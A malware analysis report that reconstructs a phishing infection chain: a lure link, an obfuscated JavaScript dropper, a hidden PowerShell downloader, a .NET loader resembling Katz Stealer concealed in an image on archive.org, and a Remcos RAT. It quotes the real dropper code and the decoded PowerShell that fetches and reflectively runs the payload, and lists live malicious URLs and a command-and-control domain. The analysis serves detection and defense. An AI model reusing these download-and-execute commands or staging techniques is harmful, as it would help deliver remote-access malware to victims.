Executive Summary

A phishing campaign was observed delivering a staged malware chain that could potentially have led to remote access compromise. An attacker sent a phishing message from perfecttradedr@gmail.com linking to https://www.cekomng.shop/. A user who visited the site received and executed an obfuscated JavaScript dropper (Adobe873768.js). The JavaScript launched an obfuscated PowerShell downloader which retrieved an image from archive.org that contained an embedded Base64 payload. That payload was decoded and loaded in-memory as a .NET assembly. The loader invoked a method (VAI) that behaved as a flexible dropper and persistence orchestrator. The in-memory DLL matched characteristics of a Katz Stealer variant and subsequently fetched a second stage payload that unpacked into a Remcos Remote Access Trojan. The RAT ran masquerading as calc.exe, established outbound connections to cnn9001.duckdns.org, and enabled remote control and post exploitation activity.


Technical Analysis

The analysis was conducted on Monday, September 29th, 2025, and focused on reconstructing the complete infection chain, from the initial unsophisticated phishing email to the final remote access payload execution. The following sections describe each stage of this process in detail, supported by recovered and decoded scripts, binaries, and other forensic artifacts.

Phishing Email

The malicious email under investigation was sent from Perfect Trade ALEX <perfecttradedr@gmail.com>. Using a freely available language translation tool, the content was identified as Bosnian, Croatian or Serbian. The email text translates approximately to:

  • Subject: “INVOICE and EUR 1”
  • Body: “Dear, Enclosed, without EUR1.”

The email message is shown below:

A closer look at the email header confirmed that the message originated directly from Gmail infrastructure. This means that the sender did not rely on spoofing a third party mail relay, but instead sent the email via a Gmail account. Consequently, standard authentication mechanisms (SPF and DKIM) successfully passed.

Below is a parsed and anonymized part of the email header:

Received-SPF: Pass (REDACTED: domain of
  perfecttradedr@gmail.com designates 2a00:1450:4864:20::62d as
  permitted sender) identity=mailfrom;
  client-ip=2a00:1450:4864:20::62d; receiver=REDACTED;
  envelope-from="perfecttradedr@gmail.com";
  x-sender="perfecttradedr@gmail.com"; x-conformance=spf_only;
  x-record-type="v=spf1"; x-record-text="v=spf1
  ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36
  ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36
  ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
. . .
Authentication-Results: REDACTED; spf=Pass smtp.mailfrom=perfecttradedr@gmail.com; dkim=pass (signature verified) header.i=@gmail.com
. . .
Received: from mail-ej1-x62d.google.com ([IPv6:2a00:1450:4864:20::62d])
  by REDACTED with ESMTP/TLS/TLS_AES_256_GCM_SHA384; 29 Sep 2025 10:51:15 +0200
Received: by mail-ej1-x62d.google.com with SMTP id a640c23a62f3a-b3c2db014easo255316166b.0
        for <REDACTED>; Mon, 29 Sep 2025 01:51:15 -0700 (PDT)
. . .
X-Received: by 2002:a17:907:3d9e:b0:b2b:a56f:5434 with SMTP id
 a640c23a62f3a-b34b644a7ccmr1738215266b.13.1759135871617; Mon, 29 Sep 2025
 01:51:11 -0700 (PDT)
MIME-Version: 1.0
From: Perfect Trade ALEX <perfecttradedr@gmail.com>
Date: Mon, 29 Sep 2025 09:50:58 +0100
Message-ID: <CAL=BSPbHW+E4OrHkZHUeZuEnAJBS7V0oUKuRtZ=KYXN3OdxgvA@mail.gmail.com>
Subject: =?UTF-8?Q?RA=C4=8CUN_i_EUR_1?=
To: Perfect Trade ALEX <perfecttradedr@gmail.com>
. . .

The analyzed email sample was relayed through Gmail’s legitimate infrastructure, which allowed it to pass standard authentication checks, thereby reducing suspicion from automated filters. A closer look at the message body reveals a signature block attributed to Miroslav Svitlica of AG Infoplan d.o.o. Nikšić, which did not align with the displayed sender identity Perfect Trade ALEX. This mismatch between the visible sender address and the individual referenced in the body is a common indicator of fraudulent intent and suggests the email was crafted to impersonate a legitimate business contact.

Overall, the analyzed email sample is very unsophisticated. It lacked personalization, contextual tailoring, or any effort to convincingly mimic a real business correspondence. This strongly suggests that the campaign was not a targeted spearphishing attempt, but rather the work of an opportunistic attacker.


Chain of Infection

Stage 0 : Initial delivery and drive-by (staged) download

The image embedded under the email body, was designed to mimic an attachment in the Gmail client, but in reality it pointed to https://www.cekomng.shop/. Clicking the image, or visiting that URL directly, caused a JavaScript file to be downloaded automatically with the filename Adobe873768.js.

$ file Adobe873768.js 
Adobe873768.js: JavaScript source, Unicode text, UTF-8 text, with very long lines (15744), with CRLF line terminators

Stage 1 : JavaScript Dropper

Below is an abbreviated contents of the obfuscated JavaScript (comments are in the original Spanish / Portuguese language). The script is intended to run under Windows Script Host (WScript). It constructs COM objects (ActiveX) [1] and uses WMI (winmgmts) [2] to spawn a hidden process, avoiding any visible console or window on execution.

(function () {
        function unsquareable() {
            this.Antirio = new ActiveXObject("Scripting.FileSystemObject");
            // pega a pasta do script
            this.playboys = this.Antirio.GetParentFolderName(WScript.ScriptFullName);
            this.pimaric = "J⤱޷⷟🦝ᖈࣾՌūᦴݶƺ⏩₃ߛᨱG⤱޷⷟🦝ᖈࣾՌūᦴݶƺ⏩₃ߛᨱN . . .".split("⤱޷⷟🦝ᖈࣾՌūᦴݶƺ⏩₃ߛᨱ").join("");
        }

        unsquareable.prototype._buildCommand = function () {
            var chiromancer = [
                "d఻Ⲕ␛т🔻ತϙῧ॔ὅڮ ⹆ყpd఻Ⲕ␛т🔻ತϙῧ॔ὅڮ ⹆ყod఻Ⲕ␛т . . . ('" + this.pimaric + "'d఻Ⲕ␛т🔻ತϙῧ॔ὅڮ ⹆ყ)) ",
                "d఻Ⲕ␛т🔻ತϙῧ॔ὅڮ ⹆ყ| . . ."
            ];
            return chiromancer.join("").replace(/d఻Ⲕ␛т🔻ತϙῧ॔ὅڮ ⹆ყ/g, "");
        };

        unsquareable.prototype.run = function () {
            var schedule = this._buildCommand();

            var paraelectric = GetObject("winmgmts:root\\cimv2");
            var dendrochemical = paraelectric.Get("Win32_Process");
            var morosoph = paraelectric.Get("Win32_ProcessStartup").SpawnInstance_();
            morosoph.ShowWindow = 0; // 0 = oculto

            // aqui uso a pasta do script, em vez de null
            var cholelithic = dendrochemical.Create(schedule, this.playboys, morosoph, 0);

            if (cholelithic === 0) {
                // sucesso
            } else {
                // erro
            }
        };

        (new unsquareable()).run();
    })();

The script stores a long, obfuscated string in this.pimaric property. That string contains the actual payload data with a recurring, unusual Unicode sequence used as a separator. The script reconstructs a Base64 string by removing those separator tokens. An array (chiromancer) contains numerous command fragments also broken by a different repeating Unicode separator. The code joins these fragments with this.pimaric property and strips the separator to produce a final command string named schedule. When reconstructed, the schedule variable is a PowerShell one-liner which decodes an embedded Base64 string, and then using Invoke-Expression [3] on the decoded string.

powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGNsaWVudE9iaiA9IE5ldy1PYmplY3QgTmV0LldlYkNsaWVudDsgJGNsaWVudE9iai5FbmNvZGluZyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjg7ICRudWxsID0gKCRjbGllbnRPYmouRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly9hcmNoaXZlLm9yZy9kb3dubG9hZC9vcHRpbWl6ZWRfbXNpX3Byb193aXRoX2I2NF8yMDI1MDkvb3B0aW1pemVkX01TSV9QUk9fd2l0aF9iNjQucG5nJykgLW1hdGNoICdCYXNlU3RhcnQtKC4qPyktQmFzZUVuZCcpOyRkYXRhQmxvY2sgPSAkbWF0Y2hlc1sxXTskbG9hZGVkQXNtID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGF0YUJsb2NrKSk7JGlucHV0QXJnID0gJz09Z2FNNW1ieDVXUUk5U1pzbG1admtHY2g5U2J2Tm1MdWxXWXlSR2JsaFhhdzl5TDZNSGMwUkhhJzskY2xhc3NSZWYgPSAkbG9hZGVkQXNtLkdldFR5cGUoJ0NsYXNzTGlicmFyeTEuSG9tZScpOyRtZXRob2RSZWYgPSAkY2xhc3NSZWYuR2V0TWV0aG9kKCdWQUknKTskbWV0aG9kUmVmLkludm9rZSgkbnVsbCwgW29iamVjdFtdXUAoJGlucHV0QXJnLCcnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ2NhbGMnLCcxJywnY2FsYycsJycsJ1VSTCcsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnanMnLCcxJywnJywnVGFza19OYW1lJywnMCcsJ3N0YXJ0dXBfb25zdGFydCcpKTs=')) | Invoke-Expression"

Stage 2 : PowerShell Downloader / Loader

Decoding the Base64 string (the payload originally stored in this.pimaric) reveals a PowerShell that creates a Net.WebClient, downloads a file from the Internet Archive (referenced as optimized_MSI_PRO_with_b64.png), extracts a Base64 block delimited by BaseStart- and -BaseEnd using a regex, decodes that block to bytes, and then loads those bytes as a .NET assembly in memory via [Reflection.Assembly]::Load([Convert]::FromBase64String(...)) [4]. The script then uses reflection to get type ClassLibrary1.Home, method VAI, and invokes it as a method (target is $null) with a 17 element object[] parameter array.

$clientObj = New-Object Net.WebClient;
$clientObj.Encoding = [System.Text.Encoding]::UTF8;
$null = ($clientObj.DownloadString('http://archive.org/download/optimized_msi_pro_with_b64_202509/optimized_MSI_PRO_with_b64.png') -match 'BaseStart-(.*?)-BaseEnd');
$dataBlock = $matches[1];
$loadedAsm = [Reflection.Assembly]::Load([Convert]::FromBase64String($dataBlock));
$inputArg = '==gaM5mbx5WQI9SZslmZvkGch9SbvNmLulWYyRGblhXaw9yL6MHc0RHa';
$classRef = $loadedAsm.GetType('ClassLibrary1.Home');
$methodRef = $classRef.GetMethod('VAI');
$methodRef.Invoke($null,[object[]]@($inputArg,'','C:\Users\Public\Downloads\','Name_File','calc','1','calc','','URL','C:\Users\Public\Downloads\','Name_File','js','1','','Task_Name','0','startup_onstart'));

While examining the referenced image file, mismatch between the file extension and the actual header signature was found, where the file served as optimized_MSI_PRO_with_b64.png contains a JPEG header.

$ head -n 1 optimized_MSI_PRO_with_b64.jpeg 
����JFIF��C	

The image optimized_MSI_PRO_with_b64.png renders normally, even though it contains the malicious Base64 encoded data.

Inspecting the tail of the image file optimized_MSI_PRO_with_b64.png shows that a BaseStart-...-BaseEnd payload is indeed appended after the image bytes.

$ tail -n 1 optimized_MSI_PRO_with_b64.png
H<A4><9A>I4<92>X<BD>CIII<8B>E<96>44Y<A4><91>I^T<91>I4<92>i$<D3>ͷ*RA<F8><90>~$^X<9E>s^VYe<8A>H<A4><9A>I,<D2>IΜ<A9>^G1e<96>{W<FF><C4>^@ESC^Q^@^A^D^C^@^@^@^@^@^@^@^@^@^@^@^^@^Q<A0><B0><C0><E0>^A <90><FF><DA>^@^H^A^C^A^C?^@<84>Q<8B><FF>^@<FB><9A><A5>o<C5><EE>a^?<FF>^@<BF><FF>^@<C5>n)<B7>0<B0><8F>f^Km<E7>r<BE><DF><FF><D9>BaseStart-TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAD/iN8AAAAAAAAAAOAADiELATAAAIA7AAAIAAAAAAAAbp47AAAgAAAAoDsAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAADgOwAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAACCeOwBL . . .

Steganography is the technique of concealing data within another file or medium in such a way that the presence of the hidden information is not apparent. The approach demonstrated here is a trivial example of steganography, where additional payload data is simply appended to an image file without affecting its normal rendering.

Stage 3 : In-memory .NET Loader and Secondary Payload Fetch

To extract and recover the embedded payload a custom Python script was used that searches the file for the BaseStart-(.*?)-BaseEnd pattern, decodes the captured group, and writes the resulting bytes to a file wih a name img_b64_decoded_data. The script used during analysis is shown below.

import re
import base64

filename = "optimized_MSI_PRO_with_b64.png"
with open(filename, "rb") as f:
    content = f.read()
text_content = content.decode("utf-8", errors="ignore")
match = re.search(r"BaseStart-(.*?)-BaseEnd", text_content)
if match:
    base64_data = match.group(1)
    try:
        decoded_bytes = base64.b64decode(base64_data)
        with open("img_b64_decoded_data", "wb") as output_file:
            output_file.write(decoded_bytes)
        print("Base64 data extracted and saved to 'img_b64_decoded_data'.")
    except base64.binascii.Error as e:
        print(f"Error decoding: {e}")
else:
    print("No Base64 data found.")

Running the custom Python script produced a file that, when checked, is a PE32 executable (DLL).

$ python3 extract_b64_from_image.py 
Base64 data extracted and saved to 'img_b64_decoded_data'.

$ file img_b64_decoded_data 
img_b64_decoded_data: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

A VirusTotal lookup for the DLL’s SHA-256 hash returned detections and reveals that the sample was first submitted on 2025-09-28 19:22:23 UTC. The DLL’s version metadata, available in VirusTotal sample’s Details tab, claims the product is Microsoft.Win32.TaskScheduler (File Version 2.11.0.0) with the description Provides a single assembly wrapper for the 1.0 and 2.0 versions of Task Scheduler found in all Microsoft operating systems post Windows 98. It simplifies the coding, aggregates .... Searching the internet for this file metadata identified a Github project .NET Task Scheduler Managed Wrapper [5].

Next, the extracted DLL from the image was loaded into Detect It Easy (DiE) [6]. As shown in the screenshot below, DiE confirms this is a PE32 DLL compiled for .NET Framework 4.5 (VB.NET). The assembly references the dnlib library [7], which frequently indicates runtime assembly manipulation (dynamic loading or unpacking). Heuristics indicate heavy obfuscation and anti-analysis features (anti-debugging).

For debug data presence analysis, see Appendix B : PDB File Presence Verification.

The de4dot tool [8] was then used for deobfuscation. A .NET Reactor [9] obfuscator was detected, and de4dot attempted to deobfuscate the malicious DLL, saving the result as img_b64_decoded_data-cleaned.dll.

PS> .\de4dot.exe img_b64_decoded_data.dll

de4dot v3.2.0.0

Detected .NET Reactor (img_b64_decoded_data.dll)
Cleaning img_b64_decoded_data.dll
Renaming all obfuscated symbols
Saving img_b64_decoded_data-cleaned.dll

The cleaned assembly img_b64_decoded_data-cleaned.dll was opened in dnSpy [10]. Early in the static analysis, the available resources confirmed that the malicious DLL was built around the .NET Task Scheduler Managed Wrapper.

As expected from the analysis of a PowerShell that was built in the dropped JavaScript payload, the method VAI takes 17 parameters:

QBXtX, startupreg, caminhovbs, namevbs, netframework, nativo, nomenativo, persitencia, url, caminho, nomedoarquivo, extençao, minutos, startuptask, taskname, vmName, startup_onstart

Based on the conducted static analysis and correlating the method parameters with the values passed in the PowerShell, the following observations were made:

  • parameter QBXtX with value ==gaM5mbx5WQI9SZslmZvkGch9SbvNmLulWYyRGblhXaw9yL6MHc0RHa : encoded reversed Base64 string containing URL for the next stage payload location,
  • parameter startupreg with value '' : flag controlling whether to add persistence via Registry Run key,
  • parameter caminhovbs (Spanish / Portuguese: “VBScript path”) with value C:\Users\Public\Downloads\ : filesystem path for dropping a VBS loader,
  • parameter namevbs with value Name_File : name of the VBS file to drop / execute,
  • parameter netframework with value calc : controls whether the loader reflectively executes a managed (.NET) assembly or launches an external process,
  • parameter nativo with value 1 : if non empty, indicates a native executable to drop or execute,
  • parameter nomenativo (Spanish / Portuguese: “native name”) with value calc : name of the native binary payload,
  • parameter persitencia (Spanish / Portuguese: “persistence”, with value '' : controlling persistence routines,
  • parameter url with value URL : optional alternate or fallback download URL for payload / config,
  • parameter caminho (Spanish / Portuguese: “path”) with value C:\Users\Public\Downloads\ : target path to write dropped payloads,
  • parameter nomedoarquivo (Spanish / Portuguese: “filename”) with value Name_File : file name for dropped payload,
  • parameter extençao (Spanish / Portuguese: “extension”) with value js : command to execute dropped payload,
  • parameter minutos (Spanish / Portuguese: “minutes”) with value 1 : interval for scheduled task recurrence,
  • parameter startuptask with value '' : flag enabling persistence via Task Scheduler,
  • parameter taskname with value Task_Name : name assigned to the scheduled task,
  • parameter vmName with value 0 : string used in VM detection routine,
  • parameter startup_onstart with value startup_onstart : controls whether to run payload on system startup or user logon.

Note that the value calc for paramter netframework will evaluate as false, meaning it will take the native (process) execution branch.

Leveraging the findings and OSINT, close similarities were identified between this sample and a Malware‑as‑a‑Service (MaaS) infostealer known as Katz Stealer. Recently documented Katz samples (from June 2025) abused the legitimate Windows utility cmstp.exe (Microsoft Connection Manager Profile Installer) for UAC bypass, used different configurations (values passed to the VAI method), and loaded the final stealer payload via process hollowing [11] into MSBuild (Microsoft Build Engine). For detailed Katz Stealer capabilities, see references [12], [13], [14].

Stage 4 : Persistent Command and Control

Returning to the recovered PowerShell (originally stored in the this.pimaric property of the dropped JavaScript), the $inputArg value was a Base64 encoded reversed string. In the analyzed .NET stage loader, this value was first reversed and then processed further.

==gaM5mbx5WQI9SZslmZvkGch9SbvNmLulWYyRGblhXaw9yL6MHc0RHa

Reversing the string gives a valid Base64 value, which represents a URL after decoding.

https://pixeldrain.com/api/file/HAnqnnLj

PixelDrain [15] is a cloud based filesharing and hosting platform.

Requesting the API URL returned JSON indicating the file was protected by PixelDrain’s hotlink / download protection (captcha / rate limit).

{
  "success": false,
  "value": "file_rate_limited_captcha_required",
  "message": "We have detected the use of hotlinking for this file. Hotlinking is only supported when either the uploader or the downloader has a paid subscription"
}

Studying PixelDrain’s API documentation [16] revealed two useful endpoints. The file info endpoint for HAnqnnLj returned:

$ curl https://pixeldrain.com/api/file/HAnqnnLj/info
{
  "success": true,
  "id": "HAnqnnLj",
  "name": "arquivo_20250929134616.txt",
  "size": 641024,
  "views": 0,
  "bandwidth_used": 2564096,
  "bandwidth_used_paid": 0,
  "downloads": 2,
  "date_upload": "2025-09-29T06:46:17.479Z",
  "date_last_view": "2025-09-29T06:46:17.479Z",
  "mime_type": "text/plain; charset=utf-8",
  "thumbnail_href": "/file/HAnqnnLj/thumbnail",
  "hash_sha256": "11cd328b43b236bd82149abdc709c505adf0ecc7a3537c5c1f945873e80566b8",
  "delete_after_date": "0001-01-01T00:00:00Z",
  "delete_after_downloads": 0,
  "availability": "file_rate_limited_captcha_required",
  "availability_message": "We have detected the use of hotlinking for this file. Hotlinking is only supported when either the uploader or the downloader has a paid subscription",
  "abuse_type": "",
  "abuse_reporter_name": "",
  "can_edit": false,
  "can_download": true,
  "show_ads": true,
  "allow_video_player": true,
  "download_speed_limit": 0
}

Note the filename arquivo_20250929134616.txt, arquivo is Spanish / Portuguese for “file”. The use of Spanish / Portuguese in the filename correlates with Spanish / Portuguese language comments found in the dropped JavaScript (Adobe873768.js) and variable names in the analyzed .NET loader (img_b64_decoded_data ; Microsoft.Win32.TaskScheduler.dll) , observed earlier in the infection chain.

Visiting the direct download endpoint in a browser allowed the malicious file to be fetched manually. It is unclear whether the threat actor accounted for PixelDrain’s limitations that PixelDrain can enforce on the hosted files with free hosting. PixelDrain indicated the file had been downloaded many times outside the service’s file view page. It is likely that rate limiting (captcha) protection was applied during the malicious activity.

After manually downloading the file, analysis continued. Initial inspection revealed that the downloaded file consisted of a single line of Base64 encoded data.

$ file arquivo_20250929134616.txt
arquivo_20250929134616.txt: ASCII text, with very long lines (65536), with no line terminators

$ head -n 1 arquivo_20250929134616.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPYyDe8wFP8wDH7g/OsvDz7A6OEuDZ7Q0OgsDA6wtO8qDn6wnOcpDN . . .

Based on analysis of the .NET stage loader, the DLL loaded in memory invoked Strings.StrReverse(text) on the downloaded content before interpreting it. Therefore the single long line of encoded Base64 data in the downloaded file had to be reversed.

The next steps reversed the single long line of characters, Base64 decoded the reversed string, and inspected the resulting bytes. From that output, a PE32 executable was successfully recovered.

$ rev arquivo_20250929134616.txt | base64 -d > payload

$ file payload
payload: PE32 executable (GUI) Intel 80386, for MS Windows, 7 sections

$ xxd -g 1 -l 64 payload
00000000: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00  MZ..............
00000010: b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ........@.......
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00  ................

The recovered payload was further verified using the Detect It Easy (DiE) tool and confirmed to be a PE32 executable built with Microsoft Visual Studio 2015.

At this point, leveraging the collected evidence and indicators of compromise, the recovered PE32 executable was identified as the Remote Access Trojan Remcos [17]. In this case, and based on the previously stated findings, the sample was configured to execute under the name calc.exe.

Detonating the Remcos sample in the sandbox allowed us to determine the C2 domain used:

cnn9001.duckdns.org

Complete analysis based on sandbox execution can be found on Recorded Future Triage [18] and VirusTotal [19].


Conclusion

This investigation reconstructed a complete, multistage infection chain that began with a low effort phishing message and culminated in the in-memory execution of a .NET loader identified as Katz Stealer and deployment of a commodity Remote Access Trojan Remcos. The attack combined simple social engineering, heavily obfuscated JavaScript, an obfuscated PowerShell downloader, in-memory .NET assembly loading, and staged payload retrieval from benign looking hosting services. Because the loader performed assembly loading and reflection in memory and used legitimate cloud hosting for staging, disk artifacts were minimized, increasing the likelihood of evading conventional detection.

Spanish or Portuguese language artifacts were present in the sample (comments, filenames, and parameter names), suggesting regionalized tooling or actor influence. However, the observed target was not Spanish or Portuguese speaking, indicating that the threat actor likely acted opportunistically. Recorded Future’s TAG‑144 reporting [20] on South American campaigns documents extensive abuse of legitimate internet services for staging (including archive.org and dynamic DNS providers such as duckdns.org) and the use of steganography in images during multistage infections, closely mirroring the hosting and staging choices seen in this sample. Open source analyses of Katz Stealer (by SentinelOne, Nextron Systems, Picus Security) describe it as a MaaS focused on credential and crypto theft that leverages flexible loaders, runtime assembly manipulation, and process injection techniques, behaviors consistent with the obfuscated .NET loader and staged payload retrieval analyzed in this post.


Indicators of Compromise (IoCs)

Email Sender

CategoryValue
Email Senderperfecttradedr@gmail.com

URL (Malware Distribution)

CategoryValue
JavaScript Dropperhttps://www.cekomng.shop/
.NET Stage Loaderhttp://archive.org/download/optimized_msi_pro_with_b64_202509/optimized_MSI_PRO_with_b64.png
Remcos RAThttps://pixeldrain.com/api/file/HAnqnnLj

Command and Control (C2)

CategoryValue
C2 (domain:port)cnn9001.duckdns.org:9001
C2 (domain)cnn9001.duckdns.org
C2 (IP)45.74.50.189

Malware Files / Artifacts

Filename / ArtifactMD5SHA-1SHA-256
Adobe873768.jsb8d438afe388b67a83bcdc24a22b2f1215191bdd103868f69281476e157e2ee3c916c4544bc9d610dfdc799425d7dff0d37d47d6013163c943bb0c86b90de99786c43461
optimized_MSI_PRO_with_b64.pngd21d147d79518f4f89f2bed612f5ede4ca6d4bd26cb6abf0c73981ff22af8d65fba60403b932adbdbb14644366daed1bede62d9293868c9a3eecbffc7c4e6604d6d5b243
img_b64_decoded_data (Microsoft.Win32.TaskScheduler.dll)1517ce8a9d9ff6d0ddbe3c6616061e3b93c482b74081dec2e97422ff7d9561cb67def712c3560bfa9483e7894243e613c55744b7f1705a53969f797f5fe8b2cb4fb336cc
arquivo_20250929134616.txtb16a2e0d784b78e9ee39d3363518220dfcda7a3f417c516df41eee6565ad371fe8a0577111cd328b43b236bd82149abdc709c505adf0ecc7a3537c5c1f945873e80566b8
payload (calc.exe)86c7ba0e15c0a1c084ef0daba53e4ecfbba3d78e42c0e7eb65a0cd63917c767e2b8419083ab3bc06210e76b06e75c264e5f5acb4edc11f0f768ed16655181cfda80a72a8

Appendices

Appendix A : CEKOMNG.SHOP WHOIS Record

Domain Name: CEKOMNG.SHOP
Registry Domain ID: DO14938844-GMO
Registrar WHOIS Server: whois.hostinger.com
Registrar URL: https://www.hostinger.com/
Updated Date: 2025-09-14T08:00:37.0Z
Creation Date: 2025-09-14T08:00:26.0Z
Registry Expiry Date: 2026-09-14T23:59:59.0Z
Registrar: HOSTINGER operations, UAB
Registrar IANA ID: 1636
Registrar Abuse Contact Email: abuse@hostinger.com
Registrar Abuse Contact Phone:
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant State/Province: MA
Registrant Country: US
Registrant Email:
Admin Email:
Tech Email:
Name Server: NS2.DNS-PARKING.COM
Name Server: NS1.DNS-PARKING.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of WHOIS database: 2025-09-29T12:07:49.0Z <<< 

Appendix B : PDB File Presence Verification

A PDB (Program Database) [21] file is a debug symbol file used by Microsoft compilers to store function names, variable names, and source file paths to aid debugging and analysis.

As we know from the DiE analysis output, the debug data in the file img_b64_decoded_data (Microsoft.Win32.TaskScheduler.dll) has offset 0x003b7fde and size 0x3a (58 bytes).

$ dd if=img_b64_decoded_data of=img_b64_decoded_data_debug.bin bs=1 skip=0x3b7fde count=0x3a status=none

$ hexdump -C img_b64_decoded_data_debug.bin | sed -n '1,4p'
00000000  52 53 44 53 80 b7 84 65  6a 14 03 4b 8a e3 65 c4  |RSDS...ej..K..e.|
00000010  66 f2 25 32 01 00 00 00  4d 69 63 72 6f 73 6f 66  |f.%2....Microsof|
00000020  74 2e 57 69 6e 33 32 2e  54 61 73 6b 53 63 68 65  |t.Win32.TaskSche|
00000030  64 75 6c 65 72 2e 70 64  62 00                    |duler.pdb.|

These 58 bytes in question form a CodeView (RSDS) debug pointer [22]. Meaning it is a pointer (CodeView record) that typically tells debuggers where to find a matching PDB (GUID + age + filename). So we do not have a full PDB embedded, just a pointer to a PDB.


References